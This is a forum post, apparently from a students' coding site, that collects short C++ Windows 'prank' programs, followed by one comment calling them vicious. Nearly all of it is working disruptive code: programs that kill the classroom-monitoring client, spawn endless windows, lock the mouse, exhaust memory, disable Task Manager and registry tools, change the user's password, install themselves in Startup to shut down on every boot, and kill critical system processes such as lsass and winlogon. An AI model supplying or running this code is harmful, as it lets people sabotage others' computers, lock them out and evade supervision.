- 分享
- 2024-04-24 18:13:02 @
注销代码
#include<bits/stdc++.h>
using namespace std;
int main(){
ExitWindowsEx(EWX_LOGOFF, 0);
return 0;
}
清屏代码
#include<bits/stdc++.h>
#include <windows.h>
using namespace std;
int main(){
cout << "\033c";
return 0;
}
关机代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("shutdown -p");
return 0;
}
定时关机代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("shutdown -s -t 秒数");
return 0;
}
关闭极域代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("taskkill -f -t -im StudentMain.exe");
return 0;
}
关闭google代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("taskkill -f -t -im chrome.exe");
return 0;
}
关闭devc++代码
#include<bits/stdc++.h>
using namespace std;
int main(){
system("taskkill -f -t -im devcpp.exe");
return 0;
}
无限弹窗代码
#include<bits/stdc++.h>
using namespace std;
int main(){
while(1){
system("start cmd");
}
return 0;
}
关闭无限弹窗代码
#include<bits/stdc++.h>
using namespace std;
int main(){
system("taskkill -f -t -im devcpp.exe");
system("taskkill -f -t -im cmd.exe");
return 0;
}
隐藏c++运行窗口(可结合别的程序实现定时整人)
#include<bits/stdc++.h>
using namespace std;
int main(){
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd, SW_HIDE);
_sleep(等待秒数);
return 0;
}
鼠标卡死代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
while(1){
SetCursorPos(500,500);
}
}
死机代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
while(1){
malloc(1000);
}
}
电脑蓝屏代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("taskkill /f /fi 'pid ge 1'");
return 0;
}
鼠标乱飞代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
int x1=GetSystemMetrics(SM_CXSCREEN);
int y1=GetSystemMetrics(SM_CYSCREEN);
while(1){
SetCursorPos(rand()%1000,rand()%1000);
}
}
鼠标所点应用消失代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
while(1){
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd,SW_HIDE);
}
}
关不掉的弹窗代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main() {
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
MessageBox(NULL, TEXT("您的电脑遇到了一些无法解决的问题:)"), TEXT("Error"),MB_OK);
}
return 0;
}
禁用任务管理器代码
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
禁用注册表代码
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
扒掉桌面壁纸代码
#include <stdio.h>
#include <windows.h>
int main(){
DWORD value = 1;
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
return 0;
}
更新密码为114514代码
#include<bits/stdc++.h>
#include <windows.h>
#include <LM.h>
#pragma comment(lib, "netapi32.lib")
int main() {
TCHAR username[MAX_PATH];
DWORD size = MAX_PATH;
GetUserName(username, &size);
if (NetUserChangePassword(NULL, username, NULL, L"114514") != NERR_Success) {
return -1;
}
ExitWindowsEx(EWX_LOGOFF, 0);
return 0;
}
鼠标转圈圈代码
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int x,y;
int main(){
while(1){
for(int x=-100;x<100;x++){
_sleep(1);
y=sqrt(10000-pow(x,2));
SetCursorPos(x+800,y+400);
}
for(int x=100;x>=-100;x--){
_sleep(1);
y=0-sqrt(10000-pow(x,2));
SetCursorPos(x+800,y+400);
}
}
return 0;
}
开机即关机
#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
bool AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName){
char szStartupPath[MAX_PATH] = { 0 };
char szDestFilePath[MAX_PATH] = { 0 };
SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
return TRUE;
}
int main(int argc, char * argv[]){
AutoRun_Startup("c://main.exe", "main.exe");
system("shutdown /p");
return 0;
}
结束系统所有进程
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
system("taskkill -f -t -im mdm.exe");
system("taskkill -f -t -im WmiPrvSE.exe");
system("taskkill -f -t -im Services.exe");
system("taskkill -f -t -im inetinfo.exe");
system("taskkill -f -t -im Wscntfy.exe");
system("taskkill -f -t -im Msiexec.exe");
system("taskkill -f -t -im WUDFhost.exe");
system("taskkill -f -t -im Wdfmgr.exe");
system("taskkill -f -t -im alg.exe");
system("taskkill -f -t -im lsass.exe");
system("taskkill -f -t -im iexplore.exe");
system("taskkill -f -t -im Csrss.exe");
system("taskkill -f -t -im explorer.exe");
system("taskkill -f -t -im Taskmgr.exe");
system("taskkill -f -t -im Winlogon.exe");
system("taskkill -f -t -im lsass.exe");
system("taskkill -f -t -im dwm.exe");
system("taskkill -f -t -im Conhost.exe");
system("taskkill -f -t -im Ctfmon.exe");
system("taskkill -f -t -im Conime.exe");
system("taskkill -f -t -im svchost.exe");
system("taskkill -f -t -im OHotfix.exe");
system("taskkill -f -t -im Ose.exe");
system("taskkill -f -t -im Imjpmig.exe");
system("taskkill -f -t -im MMC.exe");
system("taskkill -f -t -im smss.exe");
system("taskkill -f -t -im wuauclt.exe");
system("taskkill -f -t -im spoolsv.exe");
system("taskkill -f -t -im wuauclt.exe");
return 0;
}
1 条评论
-
admin LV 6 MOD RP++ 机房蒟蒻 tayz @ 2024-08-06 19:47:03
太恶毒了
- 1